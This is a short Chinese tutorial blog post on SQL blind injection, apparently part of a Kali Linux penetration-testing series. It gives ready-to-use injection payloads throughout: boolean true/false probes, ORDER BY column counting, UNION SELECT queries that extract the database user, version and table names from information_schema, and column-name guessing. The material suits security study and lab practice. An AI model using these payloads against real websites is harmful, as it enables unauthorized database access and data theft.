Web渗透_SQL盲注

SQL盲注

  • 不显示数据库内建的报错信息

  • 内建的报错信息帮助开发人员发现和修复问题

  • 报错信息提供关于系统的大量有用信息

  • 当程序员隐蔽了数据库内建报错信息,替换为通用的报错提示,sql注入将依据报错信息判断注入语句的执行结果,即盲注

  • 思路:既然无法基于报错信息判断结果,那就基于逻辑真假的不同结果来判断

1' and 1=1--+(+代表空格)
1' and 1=2--+(+代表空格)

如果是真的话,会返回参数,如果是假的不会报错,逻辑语句被执行,证明有sql注入漏洞

Web渗透_SQL盲注_第1张图片

1' order by 5--+(+代表空格)     #无返回参数,说明超过列1' order by 2--+(+代表空格)     #有返回参数,说明至少存在两个列

Web渗透_SQL盲注_第2张图片

  • 掌握了这个规律之后,我们就可以按照之前的sql语句去执行了
查询用户,数据库,版本
1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+ (+代表空格)

Web渗透_SQL盲注_第3张图片

查询原数据库中表名
1'and 1=0 union select null,table_name from information_schema.tables#

Web渗透_SQL盲注_第4张图片

查询当前的表名
1'and 1=0 union select null,table_name from information_schema.columns where table_name='users'#

Web渗透_SQL盲注_第5张图片

之前我们说过,如果我们无权读取information——schema库 / 拒绝union、order by语句时候,可以用猜测的方法;
  • 猜测列名:
1' and user is not null--+ (+代表空格)

其他不演示了,之前演示过了,用bp字典去跑就行了 ,不明白的看我之前的文章!

你可能感兴趣的:(kali_linux渗透测试,渗透测试)